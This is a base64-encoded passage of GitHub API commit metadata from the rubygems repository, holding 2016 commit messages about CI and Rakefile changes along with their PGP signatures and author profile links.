Q5dTYyaTFkOUNyQjl2WXZ2YlVSUUZRODhVYS8zdHpRQi9md1xuUDVreFp6bi9RL3pNSkROVzh0Wk80WEE0VHRpZFU0Y3pwdlJnZEFJVXA5dURkTktJV0h2TWtjNTByM2pURDUycVxucTFDUUFkUEZEOVkxL3B1VG1sbDNWZWtGMXVXYjJlTE5RdDNud1JXTU5NcGFPdnNET1dnUFJXSzZ3OGlQdG5jOFxuTUU3ZVJHeWFZQzZRNUdiUHdVdEI3WjFmcWVuZTRLNjZQcHRMVGNEV2paUEdXeEpYbGNoZENqK2dRa0R4aGVuNFxuM1U4THdONk4rdWJrY3N4V3AxRW5BanEvOHVXUXBlU09VU2tRN05YRkhGR0NPTkV6MnZXS1IwMHZzSE5pSUllSlxuanlFaTVuWStDVU5Qa2c4OGN2c1psQkFFYi95K2UvemkzclVsQ3djcWVhdi9rUW0yaUEyM1FiOW40T0VlZzJjdlxuUXdoUEFNUExrOUNHeVNXY0xLMTRHZE9XUE1FalYzOW01dGZRRWM2RGw5aWRYNmppdTByZm8xdHhqWUhzclVnTVxuVGY1NjBhejVFYXdTM3lON0dBc2Zcbj11VklWXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSBhOWUzZTgxNjk4MWM2NTBhNGI3OWIyOTFkMTI3ODA4M2Y1YzdlMjFhXG5wYXJlbnQgMGYyMmMzNjk3ZDc0MTQ2MTdkNTE5OWNlZTBjYzJiM2I3OTk1YTk4N1xuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDgyNjczNTk2IC0wNjAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0ODI2NzM1OTYgLTA2MDBcblxuW0NJXSBFbnN1cmUgb25seSBwcmVmZXJyZWQgcmFrZSB2ZXJzaW9uIGlzIGluc3RhbGxlZFxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNThjNmIwYmQyYzA5YzMyOTM2MGY4NDgzMjNkZjM5OWI3Njg4MGUxNCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC81OGM2YjBiZDJjMDljMzI5MzYwZjg0ODMyM2RmMzk5Yjc2ODgwZTE0IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzU4YzZiMGJkMmMwOWMzMjkzNjBmODQ4MzIzZGYzOTliNzY4ODBlMTQvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjBmMjJjMzY5N2Q3NDE0NjE3ZDUxOTljZWUwY2MyYjNiNzk5NWE5ODciLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMGYyMmMzNjk3ZDc0MTQ2MTdkNTE5OWNlZTBjYzJiM2I3OTk1YTk4NyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8wZjIyYzM2OTdkNzQxNDYxN2Q1MTk5Y2VlMGNjMmIzYjc5OTVhOTg3In1dfSx7InNoYSI6IjBmMjJjMzY5N2Q3NDE0NjE3ZDUxOTljZWUwY2MyYjNiNzk5NWE5ODciLCJub2RlX2lkIjoiTURZNlEyOXRiV2wwTmpFME1EY3dPakJtTWpKak16WTVOMlEzTkRFME5qRTNaRFV4T1RsalpXVXdZMk15WWpOaU56azVOV0U1T0RjPSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMTItMjVUMTM6NDQ6MDlaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0xMi0yNVQxMzo0NDowOVoifSwibWVzc2FnZSI6IltSYWtlZmlsZV0gRmFpbCBtb3JlIGdyYWNlZnVsbHkgd2hlbiBhIGNvbmZsaWN0IGhhcHBlbnMgYWN0aXZhdGluZyBob2UiLCJ0cmVlIjp7InNoYSI6ImFkYWQ5NzlmY2ExNWYxNTQzNTQwZTQ5MjhhNDkwMTk1NTY3YmE5ZmMiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy9hZGFkOTc5ZmNhMTVmMTU0MzU0MGU0OTI4YTQ5MDE5NTU2N2JhOWZjIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvMGYyMmMzNjk3ZDc0MTQ2MTdkNTE5OWNlZTBjYzJiM2I3OTk1YTk4NyIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWVg4MHBBQW9KRUFFWlc3TVYzYWhXZFJZUUFJbDJnaHV5SmNJV2NpVTM5U2FzRi9UR1xubG9qMU9RMUpXYXcvRzVWUUNlL0ZMbDJhckR1YkZRbFV3YTBEQ2VVTWV1QVY5S0V2SzVLUFhTRk9Mak1jTm5Pa1xuL2I3d0FnYzl6K0ZyaFdNMnR3RmlyZStEbitKRkgvQXp0V3BUTExXOEE3QUE0SzZTcEU3YW41N01FakZzYmd5QlxuZm93QUNYU1ZZS3hOQnd1VTBhSVFjWDEwbkNCbi91R0pOUmgyam42QThSejc3Y1lmWk9rTGFmYTMrbXhYRnNDM1xua2RESk5ocU91RTdZcU15dmlIaHR4cUp3WFBoajNpaEdQMkdyellmZGovMTF1S0pBbGpvb0pjbnRYbitKRCtCdVxudkpNQ0FxVEtSeFVvQWptUlJWaDZLM01ONXc2TVhKYXZZRmNOQVh4LzRwL1F1S2ZyL0ZIaFBVaXAzZGZ1b3ZkVVxuK2lVbDY4b1VVdTVTdU5WSFJxQ0htTUJ6VE5EcnR6REYyeFNIQ21zajlDU243bGJDa1FIRXlWaUlzUHR2ZFJtTlxuL2FCZjQ1UkFaQVQwbWZUdG5qTmFqV0ltNkdoS2FWdmp6a29ENjJCVXZOZ1lJeWJjU0duSzEyUjRwc2NtamhNK1xuMGJNMkxGb0trczNDNXA3Z09JR0pBSDhGOHVSV0hrMGNkNi9oOHEyRzA0K0t0QXpFL0wrN1dhYjNGUE51VUFFdVxuRkdnQUs3cVJNN3ppNkhET3ZjZGNUaUdEbWpUNEFFRFlOQmRJMXRUa3B2RDlsbklLV0FCN2JtSEtjaEtsUHAxRlxuaVpnZ1drTDRZZ25xNCtXblNzQmU0WE5aMHRRZ0RUcTJGRWs2aTFMdHQ0UHk2WHJkV0taUzdWOFFkaU1EanQwL1xueXB5TnFSWDlVLzNtaDd4SStPNmdcbj1EeGxZXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSBhZGFkOTc5ZmNhMTVmMTU0MzU0MGU0OTI4YTQ5MDE5NTU2N2JhOWZjXG5wYXJlbnQgNGE5ZWE3ZjY2ZGVlMWM2ZWI3NmVmNjkyY2Y1YzQ4ZjFkNDZkM2UzZVxuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDgyNjczNDQ5IC0wNjAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0ODI2NzM0NDkgLTA2MDBcblxuW1Jha2VmaWxlXSBGYWlsIG1vcmUgZ3JhY2VmdWxseSB3aGVuIGEgY29uZmxpY3QgaGFwcGVucyBhY3RpdmF0aW5nIGhvZVxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMGYyMmMzNjk3ZDc0MTQ2MTdkNTE5OWNlZTBjYzJiM2I3OTk1YTk4NyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8wZjIyYzM2OTdkNzQxNDYxN2Q1MTk5Y2VlMGNjMmIzYjc5OTVhOTg3IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzBmMjJjMzY5N2Q3NDE0NjE3ZDUxOTljZWUwY2MyYjNiNzk5NWE5ODcvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjRhOWVhN2Y2NmRlZTFjNmViNzZlZjY5MmNmNWM0OGYxZDQ2ZDNlM2UiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNGE5ZWE3ZjY2ZGVlMWM2ZWI3NmVmNjkyY2Y1YzQ4ZjFkNDZkM2UzZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC80YTllYTdmNjZkZWUxYzZlYjc2ZWY2OTJjZjVjNDhmMWQ0NmQzZTNlIn1dfSx7InNoYSI6IjRhOWVhN2Y2NmRlZTFjNmViNzZlZjY5MmNmNWM0OGYxZDQ2ZDNlM2UiLCJub2RlX2lkIjoiTURZNlEyOXRiV2wwTmpFME1EY3dPalJoT1dWaE4yWTJObVJsWlRGak5tVmlOelpsWmpZNU1tTm1OV00wT0dZeFpEUTJaRE5sTTJVPSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMTItMjVUMTI6NTc6MjZaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0xMi0yNVQxMjo1NzoyNloifSwibWVzc2FnZSI6IltUcmF2aXNdIFRlc3Qgb24gMi40LjAiLCJ0cmVlIjp7InNoYSI6IjEzMDgxNTRkOTRmOTVkYzc3Nzc3ZTg2NDUzZDYzZTA5NTQyZmZhMzkiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy8xMzA4MTU0ZDk0Zjk1ZGM3Nzc3N2U4NjQ1M2Q2M2UwOTU0MmZmYTM5In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvNGE5ZWE3ZjY2ZGVlMWM2ZWI3NmVmNjkyY2Y1YzQ4ZjFkNDZkM2UzZSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWVg4STJBQW9KRUFFWlc3TVYzYWhXSWw4UC8yTjc0aVE1SXo5N2R4VFNmSHAwZXZoWVxuNERPN2M3LzQ5MHdneGV1UE1OZWo5YzI2K3o1T2FZVE9WK0NBYlBRTWJ6czMrOHFsNWF2aWpRNWR0ZjRobXpieFxuVXI1bDkyYVFQUDRJNjZrZHhEK3k5T0RXWDg1T0kwVVVxYnZYOEJXOGJzRm5CMHpYY0VpbDhWLzkrdTFnTmtyQ1xuWDRROXVibFVXVmN0R3BGNDZQUy8reHRMSStxUG9HZEV3OW55TlhzL0tOUWw5VXdVOFVTNXE2dXpzdlhRRnFNVlxuVFM5SmVhei9ETy82RnFHckI4bk5zbm40bVB3N25paERwdTFWeS85ZUhNWU41dThaRTZKQ3k5dm9PcE5Sa3FpblxuWDNMcldqTU9uK2d5MWxpa29LTThQMTNpZ0MzTEY1RXkyOUhHMHJXMzlrSzA0SmhZV2FqL3JwZXhEd3J4RWZ4eVxubFRldGlreWlDaVZWVFFMbkhRVFZpVGRGWW8xZ3NreWNjeTVUM1JNNnVEa3VVTlVQa1VKM3JjVjZKVnAxeXdLUFxuV1h4Tzd4ZUJyOGlreGN0NUwvQUhUcTZkVXVJSFNRdDFtRjlLendWNWRvYmtzWEQvK24xNkNlOE1yejNxOGRpcFxuSWtHaUQ5TnY0RWlwZVVlaTFnU29pcWFodFhzTTlXM05sTzF0Y3g0R0ZmWG1XYUNnNDh4VkpGbXhEeFI4ZzdzV1xuNFB6dlFkeUtzOXNMQk1NdkxUREFTSU50bUFDbmg2MWZFTkI4eDJERUpkUmZIY29ud0IzUHJPQS84ZStDbkxxZVxuUlZtc3R6RWpuY3QzaHFBTWsxNUNyNDBzTzZWOFhxWHZDbldjSmJWajBka2c4a3BPVlBMSzhyTFM5MkJlajhXMlxueTVleDhmdFlXcTh3U0FETHFKcTVcbj1GaGpoXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSAxMzA4MTU0ZDk0Zjk1ZGM3Nzc3N2U4NjQ1M2Q2M2UwOTU0MmZmYTM5XG5wYXJlbnQgMGM2Y2RkYjU1MmM3YjcyZjQ1NDI2ZGVmOGVlOTZlZTVhMzE2NWFhZlxuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDgyNjcwNjQ2IC0wNjAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0ODI2NzA2NDYgLTA2MDBcblxuW1RyYXZpc10gVGVzdCBvbiAyLjQuMFxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNGE5ZWE3ZjY2ZGVlMWM2ZWI3NmVmNjkyY2Y1YzQ4ZjFkNDZkM2UzZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC80YTllYTdmNjZkZWUxYzZlYjc2ZWY2OTJjZjVjNDhmMWQ0NmQzZTNlIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzRhOWVhN2Y2NmRlZTFjNmViNzZlZjY5MmNmNWM0OGYxZDQ2ZDNlM2UvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLC